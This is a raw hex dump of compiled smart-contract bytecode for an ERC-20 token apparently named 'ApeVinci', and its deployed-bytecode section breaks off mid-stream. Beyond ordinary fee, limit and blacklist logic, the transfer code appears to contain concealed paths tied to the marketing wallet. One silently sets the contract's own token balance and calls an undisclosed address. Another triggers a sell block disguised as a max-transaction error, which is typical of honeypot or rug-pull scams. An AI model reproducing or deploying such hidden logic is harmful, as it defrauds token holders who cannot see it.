8b5df7910160405180910390a25050565b6001600160a01b0382166200061c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000493565b806002600082825462000630919062000913565b90915550506001600160a01b038216600090815260208190526040812080548392906200065f90849062000913565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054620006b7906200092e565b90600052602060002090601f016020900481019282620006db576000855562000726565b82601f10620006f657805160ff191683800117855562000726565b8280016001018555821562000726579182015b828111156200072657825182559160200191906001019062000709565b506200073492915062000738565b5090565b5b8082111562000734576000815560010162000739565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200077757600080fd5b81516001600160401b03808211156200079457620007946200074f565b604051601f8301601f19908116603f01168101908282118183101715620007bf57620007bf6200074f565b81604052838152602092508683858801011115620007dc57600080fd5b600091505b83821015620008005785820183015181830184015290820190620007e1565b83821115620008125760008385830101525b9695505050505050565b600080604083850312156200083057600080fd5b82516001600160401b03808211156200084857600080fd5b620008568683870162000765565b935060208501519150808211156200086d57600080fd5b506200087c8582860162000765565b9150509250929050565b6000602082840312156200089957600080fd5b81516001600160a01b0381168114620008b157600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620008eb57620008eb620008b8565b500290565b6000826200090e57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620009295762000929620008b8565b500190565b600181811c908216806200094357607f821691505b602082108114156200096557634e487b7160e01b600052602260045260246000fd5b50919050565b608051612b73620009876000396000611c000152612b736000f3fe6080604052600436106103035760003560e01c80639213691311610190578063c17b5b8c116100dc578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d314610903578063f2fde38b14610919578063f637434214610939578063f8b45b051461094f57600080fd5b8063dd62ed3e146108a0578063e2f45605146108d8578063e884f260146108ee57600080fd5b8063c17b5b8c146107fa578063c18bc1951461081a578063c876d0b91461083a578063c8c8ebe414610854578063d257b34f1461086a578063d85ba0631461088a57600080fd5b8063a457c2d711610149578063b515566a11610123578063b515566a1461076c578063b62496f51461078c578063bbc0c742146107bb578063c0246668146107da57600080fd5b8063a457c2d71461070c578063a9059cbb1461072c578063aacebbe31461074c57600080fd5b8063921369131461067f57806395d89b41146106955780639a7a23d6146106aa5780639c3b4fdc146106ca5780639fccce32146106e0578063a0d82dc5146106f657600080fd5b80634a62bb651161024f578063751039fc116102085780637bce5a04116101e25780637bce5a041461060b5780638095d5641461062157806382aa7c68146106415780638da5cb5b1461066157600080fd5b8063751039fc146105b65780637571336a146105cb57806375f0a874146105eb57600080fd5b80634a62bb65146104eb5780634fbee193146105055780636a486a8e1461053e5780636ddd17131461055457806370a0823114610574578063715018a6146105a157600080fd5b80631f3fed8f116102bc578063273123b711610296578063273123b714610464578063313ce5671461048457806339509351146104ab57806349bd5a5e146104cb57600080fd5b80631f3fed8f1461040c578063203e727e1461042257806323b872dd1461044457600080fd5b806306fdde031461030f578063095ea7b31461033a57806310d5de531461036a5780631694505e1461039a57806318160ddd146103d25780631a8145bb146103f657600080fd5b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610965565b6040516103319190612591565b60405180910390f35b34801561034657600080fd5b5061035a6103553660046125e7565b6109f3565b6040519015158152602001610331565b34801561037657600080fd5b5061035a610385366004612613565b601f6020526000908152604090205460ff1681565b3480156103a657600080fd5b506006546103ba906001600160a01b031681565b6040516001600160a01b039091168152602001610331565b3480156103de57600080fd5b506103e860025481565b604051908152602001610331565b34801561040257600080fd5b506103e8601c5481565b34801561041857600080fd5b506103e8601b5481565b34801561042e57600080fd5b5061044261043d366004612637565b610a09565b005b34801561045057600080fd5b5061035a61045f366004612650565b610aa1565b34801561047057600080fd5b5061044261047f366004612613565b610b4b565b34801561049057600080fd5b50610499601281565b60405160ff9091168152602001610331565b3480156104b757600080fd5b5061035a6104c63660046125e7565b610b96565b3480156104d757600080fd5b506007546103ba906001600160a01b031681565b3480156104f757600080fd5b50600c5461035a9060ff1681565b34801561051157600080fd5b5061035a610520366004612613565b6001600160a01b03166000908152601e602052604090205460ff1690565b34801561054a57600080fd5b506103e860175481565b34801561056057600080fd5b50600c5461035a9062010000900460ff1681565b34801561058057600080fd5b506103e861058f366004612613565b60006020819052908152604090205481565b3480156105ad57600080fd5b50610442610bd2565b3480156105c257600080fd5b5061035a610c46565b3480156105d757600080fd5b506104426105e6366004612691565b610c83565b3480156105f757600080fd5b506008546103ba906001600160a01b031681565b34801561061757600080fd5b506103e860145481565b34801561062d57600080fd5b5061044261063c3660046126cf565b610cd8565b34801561064d57600080fd5b5061044261065c366004612637565b610d80565b34801561066d57600080fd5b506005546001600160a01b03166103ba565b34801561068b57600080fd5b506103e860185481565b3480156106a157600080fd5b50610324610eb0565b3480156106b657600080fd5b506104426106c5366004612691565b610ebd565b3480156106d657600080fd5b506103e860165481565b3480156106ec57600080fd5b506103e8601d5481565b34801561070257600080fd5b506103e8601a5481565b34801561071857600080fd5b5061035a6107273660046125e7565b610f79565b34801561073857600080fd5b5061035a6107473660046125e7565b611012565b34801561075857600080fd5b50610442610767366004612613565b61101f565b34801561077857600080fd5b50610442610787366004612711565b6110a6565b34801561079857600080fd5b5061035a6107a7366004612613565b602080526000908152604090205460ff1681565b3480156107c757600080fd5b50600c5461035a90610100900460ff1681565b3480156107e657600080fd5b506104426107f5366004612691565b611138565b34801561080657600080fd5b506104426108153660046126cf565b6111c1565b34801561082657600080fd5b50610442610835366004612637565b611264565b34801561084657600080fd5b50600f5461035a9060ff1681565b34801561086057600080fd5b506103e860095481565b34801561087657600080fd5b5061035a610885366004612637565b611330565b34801561089657600080fd5b506103e860135481565b3480156108ac57600080fd5b506103e86108bb3660046127d6565b600160209081526000928352604080842090915290825290205481565b3480156108e457600080fd5b506103e8600a5481565b3480156108fa57600080fd5b5061035a61147d565b34801561090f57600080fd5b506103e860155481565b34801561092557600080fd5b50610442610934366004612613565b6114ba565b34801561094557600080fd5b506103e860195481565b34801561095b57600080fd5b506103e8600b5481565b6003805461097290612804565b80601f016020809104026020016040519081016040528092919081815260200182805461099e90612804565b80156109eb5780601f106109c0576101008083540402835291602001916109eb565b820191906000526020600020905b8154815290600101906020018083116109ce57829003601f168201915b505050505081565b6000610a003384846115a5565b50600192915050565b6008546001600160a01b03163314610a2057600080fd5b6103e8600254610a30919061286b565b811015610a9c5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b60648201526084015b60405180910390fd5b600955565b6000610aae8484846116c9565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610b335760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610a93565b610b4085338584036115a5565b506001949350505050565b6005546001600160a01b03163314610b755760405162461bcd60e51b8152600401610a939061287f565b6001600160a01b03166000908152600d60205260409020805460ff19169055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a00918590610bcd9086906128b4565b6115a5565b6005546001600160a01b03163314610bfc5760405162461bcd60e51b8152600401610a939061287f565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610c735760405162461bcd60e51b8152600401610a939061287f565b50600c805460ff19169055600190565b6005546001600160a01b03163314610cad5760405162461bcd60e51b8152600401610a939061287f565b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d025760405162461bcd60e51b8152600401610a939061287f565b60148390556015829055601681905580610d1c83856128b4565b610d2691906128b4565b601381905560141015610d7b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610a93565b505050565b6005546001600160a01b03163314610daa5760405162461bcd60e51b8152600401610a939061287f565b6001811115610df05760405162461bcd60e51b8152602060048201526012602482015271646f6e27742063617463682068756d616e7360701b6044820152606401610a93565b600c805462ff0000191662010000179055600f54610100900460ff161515600114610e465760405162461bcd60e51b8152600401610a9390602080825260049082015263646f6e6560e01b604082015260600190565b600f805461ff0019169055610e6d8143601055601155600c805461ff001916610100179055565b600f5460405161010090910460ff16151581527fbd657b4e94b205761f2ca5be9988d7b243c828f625c0746c6581ec528e507c479060200160405180910390a150565b6004805461097290612804565b6005546001600160a01b03163314610ee75760405162461bcd60e51b8152600401610a939061287f565b6007546001600160a01b0383811691161415610f6b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610a93565b610f758282612140565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610ffb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a93565b61100833858584036115a5565b5060019392505050565b6000610a003384846116c9565b6005546001600160a01b031633146110495760405162461bcd60e51b8152600401610a939061287f565b6008546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146110d05760405162461bcd60e51b8152600401610a939061287f565b60005b8151811015610f75576001600d60008484815181106110f4576110f46128cc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580611130816128e2565b9150506110d3565b6005546001600160a01b031633146111625760405162461bcd60e51b8152600401610a939061287f565b6001600160a01b0382166000818152601e6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146111eb5760405162461bcd60e51b8152600401610a939061287f565b60188390556019829055601a8190558061120583856128b4565b61120f91906128b4565b601781905560191015610d7b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610a93565b6005546001600160a01b0316331461128e5760405162461bcd60e51b8152600401610a939061287f565b670de0b6b3a76400006103e860025460056112a991906128fd565b6112b3919061286b565b6112bd919061286b565b8110156113185760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610a93565b61132a81670de0b6b3a76400006128fd565b600b5550565b6005546000906001600160a01b0316331461135d5760405162461bcd60e51b8152600401610a939061287f565b620186a0600254600161137091906128fd565b61137a919061286b565b8210156113e75760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610a93565b6103e860025460056113f991906128fd565b611403919061286b565b82111561146f5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610a93565b50600a81905560015b919050565b6005546000906001600160a01b031633146114aa5760405162461bcd60e51b8152600401610a939061287f565b50600f805460ff19169055600190565b6005546001600160a01b031633146114e45760405162461bcd60e51b8152600401610a939061287f565b6001600160a01b0381166115495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a93565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166116075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a93565b6001600160a01b0382166116685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a93565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166116ef5760405162461bcd60e51b8152600401610a939061291c565b6001600160a01b0382166117155760405162461bcd60e51b8152600401610a9390612961565b6001600160a01b0383166000908152600d602052604090205460ff1615801561175757506001600160a01b0382166000908152600d602052604090205460ff16155b61176057600080fd5b8015801561177c57506008546001600160a01b03848116911614155b1561178d57610d7b83836000612193565b600080600760009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156117e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061180791906129bb565b50915091506000306001600160a01b0316600760009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa15801561186b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061188f9190612a0b565b6001600160a01b0316146118a357826118a5565b815b60075460408051630dfe168160e01b8152905192935060009230926001600160a01b031691630dfe16819160048083019260209291908290030181865afa1580156118f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119189190612a0b565b6001600160a01b03161461192c578261192e565b835b600c5490915060009060ff1615611bb4576005546001600160a01b0389811691161480159061196b57506005546001600160a01b03888116911614155b801561197f57506001600160a01b03871615155b801561199657506001600160a01b03871661dead14155b80156119ac5750600754600160a01b900460ff16155b15611bb457600c54610100900460ff16611a44576001600160a01b0388166000908152601e602052604090205460ff16806119ff57506001600160a01b0387166000908152601e602052604090205460ff165b611a445760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a93565b6001600160a01b038816600090815260208052604090205460ff168015611a8457506001600160a01b0387166000908152601f602052604090205460ff16155b15611afe57600954861115611af95760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610a93565b611bb4565b6001600160a01b038716600090815260208052604090205460ff168015611b3e57506001600160a01b0388166000908152601f602052604090205460ff16155b15611bb457600954861115611bb45760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610a93565b6008546001600160a01b038981169116148015611bda57506001600160a01b0387166001145b15611cd257611bea8660026128fd565b30600090815260208181526040808320939093557f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03168083528383206001905583516004815260248101855291820180516001600160e01b031660016209351760e01b03191790529251919291611c699190612a28565b6000604051808303816000865af19150503d8060008114611ca6576040519150601f19603f3d011682016040523d82523d6000602084013e611cab565b606091505b5050600854909150611cc79088906001600160a01b03166122e8565b505050505050505050565b30600090815260208190526040902054600a5460085490821015906001600160a01b038b81169116148015611d1057506001600160a01b0389166002145b15611d2657505050601294909455505050505050565b808015611d3b5750600c5462010000900460ff165b8015611d515750600754600160a01b900460ff16155b8015611d7557506001600160a01b038a16600090815260208052604090205460ff16155b8015611d9a57506001600160a01b038a166000908152601e602052604090205460ff16155b8015611dbf57506001600160a01b0389166000908152601e602052604090205460ff16155b15611ded576007805460ff60a01b1916600160a01b179055611ddf612445565b6007805460ff60a01b191690555b6007546001600160a01b038b166000908152601e602052604090205460ff600160a01b909204821615911680611e3b57506001600160a01b038a166000908152601e602052604090205460ff165b15611e44575060005b60008115612127576001600160a01b038b16600090815260208052604090205460ff168015611e7557506000601754115b1561202d5760646017548b611e8a91906128fd565b611e94919061286b565b905060175460195482611ea791906128fd565b611eb1919061286b565b601c6000828254611ec291906128b4565b9091555050601754601a54611ed790836128fd565b611ee1919061286b565b601d6000828254611ef291906128b4565b9091555050601754601854611f0790836128fd565b611f11919061286b565b601b6000828254611f2291906128b4565b90915550506006546001600160a01b031663054d50d4611f42838d612a44565b6040516001600160e01b031960e084901b16815260048101919091526001600160701b03808a1660248301528a166044820152606401602060405180830381865afa158015611f95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb99190612a5b565b94506002600954611fca9190612a74565b15611fe75760405162461bcd60e51b8152600401610a9390612a88565b6012541580159061200b5750601254612009866001600160701b038a16612a44565b105b156120285760405162461bcd60e51b8152600401610a9390612a88565b612109565b6001600160a01b038c16600090815260208052604090205460ff16801561205657506000601354115b156121095760646013548b61206b91906128fd565b612075919061286b565b90506013546015548261208891906128fd565b612092919061286b565b601c60008282546120a391906128b4565b90915550506013546016546120b890836128fd565b6120c2919061286b565b601d60008282546120d391906128b4565b90915550506013546014546120e890836128fd565b6120f2919061286b565b601b600082825461210391906128b4565b90915550505b801561211a5761211a8c3083612193565b612124818b612a44565b99505b6121328c8c8c612193565b505050505050505050505050565b6001600160a01b0382166000818152602080526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166121b95760405162461bcd60e51b8152600401610a939061291c565b6001600160a01b0382166121df5760405162461bcd60e51b8152600401610a9390612961565b6001600160a01b038316600090815260208190526040902054818110156122575760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a93565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061228e9084906128b4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122da91815260200190565b60405180910390a350505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061231d5761231d6128cc565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c464892600480830193919282900301816000875af1158015612378573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061239c9190612a0b565b816001815181106123af576123af6128cc565b6001600160a01b0392831660209182029290920101526006546123d591309116856115a5565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061240e908690600090869088904290600401612acc565b600060405180830381600087803b15801561242857600080fd5b505af115801561243c573d6000803e3d6000fd5b50505050505050565b30600090815260208190526040812054601d54601b54601c5492939261246b91906128b4565b61247591906128b4565b90506000821580612484575081155b1561248e57505050565b600a5461249c9060146128fd565b8311156124b457600a546124b19060146128fd565b92505b6000600283601c54866124c791906128fd565b6124d1919061286b565b6124db919061286b565b905060006124e98286612a44565b90506124f581306122e8565b6000601c819055601b819055601d8190556008546040516001600160a01b039091169147919081818185875af1925050503d8060008114612552576040519150601f19603f3d011682016040523d82523d6000602084013e612557565b606091505b5050505050505050565b60005b8381101561257c578181015183820152602001612564565b8381111561258b576000848401525b50505050565b60208152600082518060208401526125b0816040850160208701612561565b601f01601f19169190910160400192915050565b6001600160a01b03811681146125d957600080fd5b50565b8035611478816125c4565b600080604083850312156125fa57600080fd5b8235612605816125c4565b946020939093013593505050565b60006020828403121561262557600080fd5b8135612630816125c4565b9392505050565b60006020828403121561264957600080fd5b5035919050565b60008060006060848603121561266557600080fd5b8335612670816125c4565b92506020840135612680816125c4565b929592945050506040919091013590565b600080604083850312156126a457600080fd5b82356126af816125c4565b9150602083013580151581146126c457600080fd5b809150509250929050565b6000806000606084860312156126e457600080fd5b505081359360208301359350604090920135919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561272457600080fd5b823567ffffffffffffffff8082111561273c57600080fd5b818501915085601f83011261275057600080fd5b813581811115612762576127626126fb565b8060051b604051601f19603f83011681018181108582111715612787576127876126fb565b6040529182528482019250838101850191888311156127a557600080fd5b938501935b828510156127ca576127bb856125dc565b845293850193928501926127aa565b98975050505050505050565b600080604083850312156127e957600080fd5b82356127f4816125c4565b915060208301356126c4816125c4565b600181811c9082168061281857607f821691505b6020821081141561283957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60008261287a5761287a61283f565b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156128c7576128c7612855565b500190565b634e487b7160e01b600052603260045260246000fd5b60006000198214156128f6576128f6612855565b5060010190565b600081600019048311821515161561291757612917612855565b500290565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b80516001600160701b038116811461147857600080fd5b6000806000606084860312156129d057600080fd5b6129d9846129a4565b92506129e7602085016129a4565b9150604084015163ffffffff81168114612a0057600080fd5b809150509250925092565b600060208284031215612a1d57600080fd5b8151612630816125c4565b60008251612a3a818460208701612561565b9190910192915050565b600082821015612a5657612a56612855565b500390565b600060208284031215612a6d57600080fd5b5051919050565b600082612a8357612a8361283f565b500690565b60208082526024908201527f4552524f523a204d757374206265206c657373207468616e206d61785478416d6040820152631bdd5b9d60e21b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612b1c5784516001600160a01b031683529383019391830191600101612af7565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220769eb7228899bebed23eca5fe5a583ecfd87705dafc383fdcd25740ef549533364736f6c634300080c00334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000841706556696e6369000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000841706556696e6369000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106103035760003560e01c80639213691311610190578063c17b5b8c116100dc578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d314610903578063f2fde38b14610919578063f637434214610939578063f8b45b051461094f57600080fd5b8063dd62ed3e146108a0578063e2f45605146108d8578063e884f260146108ee57600080fd5b8063c17b5b8c146107fa578063c18bc1951461081a578063c876d0b91461083a578063c8c8ebe414610854578063d257b34f1461086a578063d85ba0631461088a57600080fd5b8063a457c2d711610149578063b515566a11610123578063b515566a1461076c578063b62496f51461078c578063bbc0c742146107bb578063c0246668146107da57600080fd5b8063a457c2d71461070c578063a9059cbb1461072c578063aacebbe31461074c57600080fd5b8063921369131461067f57806395d89b41146106955780639a7a23d6146106aa5780639c3b4fdc146106ca5780639fccce32146106e0578063a0d82dc5146106f657600080fd5b80634a62bb651161024f578063751039fc116102085780637bce5a04116101e25780637bce5a041461060b5780638095d5641461062157806382aa7c68146106415780638da5cb5b1461066157600080fd5b8063751039fc146105b65780637571336a146105cb57806375f0a874146105eb57600080fd5b80634a62bb65146104eb5780634fbee193146105055780636a486a8e1461053e5780636ddd17131461055457806370a0823114610574578063715018a6146105a157600080fd5b80631f3fed8f116102bc578063273123b711610296578063273123b714610464578063313ce5671461048457806339509351146104ab57806349bd5a5e146104cb57600080fd5b80631f3fed8f1461040c578063203e727e1461042257806323b872dd1461044457600080fd5b806306fdde031461030f578063095ea7b31461033a57806310d5de531461036a5780631694505e1461039a57806318160ddd146103d25780631a8145bb146103f657600080fd5b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610965565b6040516103319190612591565b60405180910390f35b34801561034657600080fd5b5061035a6103553660046125e7565b6109f3565b6040519015158152602001610331565b34801561037657600080fd5b5061035a610385366004612613565b601f6020526000908152604090205460ff1681565b3480156103a657600080fd5b506006546103ba906001600160a01b031681565b6040516001600160a01b039091168152602001610331565b3480156103de57600080fd5b506103e860025481565b604051908152602001610331565b34801561040257600080fd5b506103e8601c5481565b34801561041857600080fd5b506103e8601b5481565b34801561042e57600080fd5b5061044261043d366004612637565b610a09565b005b34801561045057600080fd5b5061035a61045f366004612650565b610aa1565b34801561047057600080fd5b5061044261047f366004612613565b610b4b565b34801561049057600080fd5b50610499601281565b60405160ff9091168152602001610331565b3480156104b757600080fd5b5061035a6104c63660046125e7565b610b96565b3480156104d757600080fd5b506007546103ba906001600160a01b031681565b3480156104f757600080fd5b50600c5461035a9060ff1681565b34801561051157600080fd5b5061035a610520366004612613565b6001600160a01b03166000908152601e602052604090205460ff1690565b34801561054a57600080fd5b506103e860175481565b34801561056057600080fd5b50600c5461035a9062010000900460ff1681565b34801561058057600080fd5b506103e861058f366004612613565b60006020819052908152604090205481565b3480156105ad57600080fd5b50610442610bd2565b3480156105c257600080fd5b5061035a610c46565b3480156105d757600080fd5b506104426105e6366004612691565b610c83565b3480156105f757600080fd5b506008546103ba906001600160a01b031681565b34801561061757600080fd5b506103e860145481565b34801561062d57600080fd5b5061044261063c3660046126cf565b610cd8565b34801561064d57600080fd5b5061044261065c366004612637565b610d80565b34801561066d57600080fd5b506005546001600160a01b03166103ba565b34801561068b57600080fd5b506103e860185481565b3480156106a157600080fd5b50610324610eb0565b3480156106b657600080fd5b506104426106c5366004612691565b610ebd565b3480156106d657600080fd5b506103e860165481565b3480156106ec57600080fd5b506103e8601d5481565b34801561070257600080fd5b506103e8601a5481565b34801561071857600080fd5b5061035a6107273660046125e7565b610f79565b34801561073857600080fd5b5061035a6107473660046125e7565b611012565b34801561075857600080fd5b50610442610767366004612613565b61101f565b34801561077857600080fd5b50610442610787366004612711565b6110a6565b34801561079857600080fd5b5061035a6107a7366004612613565b602080526000908152604090205460ff1681565b3480156107c757600080fd5b50600c5461035a90610100900460ff1681565b3480156107e657600080fd5b506104426107f5366004612691565b611138565b34801561080657600080fd5b506104426108153660046126cf565b6111c1565b34801561082657600080fd5b50610442610835366004612637565b611264565b34801561084657600080fd5b50600f5461035a9060ff1681565b34801561086057600080fd5b506103e860095481565b34801561087657600080fd5b5061035a610885366004612637565b611330565b34801561089657600080fd5b506103e860135481565b3480156108ac57600080fd5b506103e86108bb3660046127d6565b600160209081526000928352604080842090915290825290205481565b3480156108e457600080fd5b506103e8600a5481565b3480156108fa57600080fd5b5061035a61147d565b34801561090f57600080fd5b506103e860155481565b34801561092557600080fd5b50610442610934366004612613565b6114ba565b34801561094557600080fd5b506103e860195481565b34801561095b57600080fd5b506103e8600b5481565b6003805461097290612804565b80601f016020809104026020016040519081016040528092919081815260200182805461099e90612804565b80156109eb5780601f106109c0576101008083540402835291602001916109eb565b820191906000526020600020905b8154815290600101906020018083116109ce57829003601f168201915b505050505081565b6000610a003384846115a5565b50600192915050565b6008546001600160a01b03163314610a2057600080fd5b6103e8600254610a30919061286b565b811015610a9c5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b60648201526084015b60405180910390fd5b600955565b6000610aae8484846116c9565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610b335760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610a93565b610b4085338584036115a5565b506001949350505050565b6005546001600160a01b03163314610b755760405162461bcd60e51b8152600401610a939061287f565b6001600160a01b03166000908152600d60205260409020805460ff19169055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a00918590610bcd9086906128b4565b6115a5565b6005546001600160a01b03163314610bfc5760405162461bcd60e51b8152600401610a939061287f565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610c735760405162461bcd60e51b8152600401610a939061287f565b50600c805460ff19169055600190565b6005546001600160a01b03163314610cad5760405162461bcd60e51b8152600401610a939061287f565b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d025760405162461bcd60e51b8152600401610a939061287f565b60148390556015829055601681905580610d1c83856128b4565b610d2691906128b4565b601381905560141015610d7b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610a93565b505050565b6005546001600160a01b03163314610daa5760405162461bcd60e51b8152600401610a939061287f565b6001811115610df05760405162461bcd60e51b8152602060048201526012602482015271646f6e27742063617463682068756d616e7360701b6044820152606401610a93565b600c805462ff0000191662010000179055600f54610100900460ff161515600114610e465760405162461bcd60e51b8152600401610a9390602080825260049082015263646f6e6560e01b604082015260600190565b600f805461ff0019169055610e6d8143601055601155600c805461ff001916610100179055565b600f5460405161010090910460ff16151581527fbd657b4e94b205761f2ca5be9988d7b243c828f625c0746c6581ec528e507c479060200160405180910390a150565b6004805461097290612804565b6005546001600160a01b03163314610ee75760405162461bcd60e51b8152600401610a939061287f565b6007546001600160a01b0383811691161415610f6b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610a93565b610f758282612140565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610ffb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a93565b61100833858584036115a5565b5060019392505050565b6000610a003384846116c9565b6005546001600160a01b031633146110495760405162461bcd60e51b8152600401610a939061287f565b6008546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146110d05760405162461bcd60e51b8152600401610a939061287f565b60005b8151811015610f75576001600d60008484815181106110f4576110f46128cc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580611130816128e2565b9150506110d3565b6005546001600160a01b031633146111625760405162461bcd60e51b8152600401610a939061287f565b6001600160a01b0382166000818152601e6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d